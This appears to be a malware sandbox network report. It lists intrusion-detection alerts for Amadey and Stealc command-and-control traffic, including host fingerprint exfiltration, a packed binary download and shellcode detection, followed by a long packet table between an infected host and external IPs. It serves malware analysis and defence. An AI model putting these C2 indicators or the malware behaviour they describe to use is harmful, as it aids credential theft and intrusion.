2024-07-27T09:26:07.316878+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49726	185.215.113.19	192.168.2.5
2024-07-27T09:25:08.915672+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:05.451873+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:00.088062+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:26:08.059994+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49731	80	192.168.2.5	185.215.113.19
2024-07-27T09:26:06.533095+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49728	185.215.113.16	192.168.2.5
2024-07-27T09:26:39.381395+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49812	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:06.132219+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:08.050660+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:04.591786+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:06.641083+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:00.077860+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:24:59.995114+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:24:57.886464+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:26:08.710540+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49732	80	192.168.2.5	185.215.113.16
2024-07-27T09:26:09.169864+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49734	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:15.977892+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49706	20.12.23.50	192.168.2.5
2024-07-27T09:26:08.815508+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49733	80	192.168.2.5	185.215.113.16
2024-07-27T09:24:57.894605+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:26:07.311365+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49730	80	192.168.2.5	185.215.113.16
2024-07-27T09:26:06.084603+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49728	80	192.168.2.5	185.215.113.16
2024-07-27T09:26:23.410181+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49761	80	192.168.2.5	85.28.47.31
2024-07-27T09:26:06.195546+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49729	80	192.168.2.5	185.215.113.16
2024-07-27T09:26:05.053203+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49727	80	192.168.2.5	185.215.113.16
2024-07-27T09:24:57.699179+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:26:12.851831+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49740	80	192.168.2.5	185.215.113.19
2024-07-27T09:24:59.446215+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:24:57.511174+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49704	80	192.168.2.5	85.28.47.31
2024-07-27T09:25:00.656974+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:00.088175+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:25:06.418329+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49704	85.28.47.31	192.168.2.5
2024-07-27T09:26:05.047501+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49726	80	192.168.2.5	185.215.113.19

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 09:24:56.153795958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:56.158675909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:56.158947945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:56.159008026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:56.163925886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:56.802109957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:56.802287102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:56.822187901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:56.828706026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.510972023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.511173964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:57.512515068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:57.517308950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.698770046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.698793888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.699178934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:57.700294971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:57.705370903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.886239052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.886262894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.886279106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.886293888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.886308908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.886337042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:57.886464119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:57.887959003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:57.894604921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.088303089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.088402987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:58.104371071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:58.104422092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:58.109236956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.109309912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.109332085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.109345913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.109486103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.109503031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.109533072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:58.109544992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.446110010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.446214914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.725820065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.730885029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.912026882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.912044048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.912055016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.912065983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.912077904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.912105083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.912179947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.915841103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.915853024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.915863037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.915911913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.916007996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.916050911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.916073084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.916090012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.916100979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.916157007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.916205883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.916217089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.916270018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.916299105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.994716883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.994734049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.994745970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.994755983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.994774103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.994908094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:24:59.995114088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.995129108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.995140076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.995151043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:24:59.995412111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.004422903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.004448891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.004456997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.004530907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.004568100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.005327940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.005366087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.005377054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.005443096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.005444050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.005475998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.005489111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.005556107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.005561113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.005573988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.005584002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.005646944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.005646944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.008717060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.008788109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.008786917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.008800983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.008860111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.008862019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.008874893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.008913040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.009171963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.009228945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.077390909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.077419043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.077428102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.077614069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.077655077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.077663898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.077810049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.077811003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.077860117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.077869892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.077976942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.078052998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.087548971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.087573051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.087584019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.087651014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.087713003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.087723970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.087847948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.087847948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.088062048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.088072062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.088085890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.088136911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.088164091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.088175058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.088186026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.088222980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.088251114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.089107990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.089149952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.089159012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.089181900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.089209080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.089255095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.089266062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.089323997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.089845896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.089857101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.089869022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.089905977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.089940071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.097417116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097470045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097480059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097505093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.097537994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.097573042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097583055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097593069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097620964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.097646952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.097878933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097887993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097897053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.097951889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.097975016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098025084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098033905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.098035097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098077059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.098100901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.098699093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098747015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098757029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098767042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.098803043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.098824978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098846912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098858118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.098875999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.098921061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.099555969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.099631071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.101667881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.101692915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.101702929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.101721048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.101757050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.101763010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.101824045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.160444021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.160469055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.160479069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.160512924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.160551071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.160563946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.160609007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.160625935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.170257092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170295954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170305967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170336008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.170375109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.170408010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170465946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170465946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.170543909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.170545101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170592070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170593023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.170602083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170661926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.170681000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.170713902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.180531979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180583000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180596113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180625916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180629015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.180655956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.180677891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180690050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180701017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180705070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.180731058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.180777073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.180922031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180964947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.180993080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.181020021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181031942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181032896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.181067944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.181129932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181140900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181150913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181185961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.181224108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.181709051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181767941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181778908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181871891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181883097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181893110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.181894064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181912899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.181932926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.181981087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.182638884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.182665110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.182682991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.182707071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.182746887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.183217049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.183228970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.183286905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.190515995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190562963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190573931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190593958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.190627098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.190712929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190725088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190736055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190742016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190761089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.190809011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.190846920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190857887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190884113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190921068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.190929890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190937042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.190941095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.190977097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.191005945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.191052914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191065073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191075087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191086054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.191107988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.191144943 CEST	49704	80	192.168.2.5	85.28.47.31
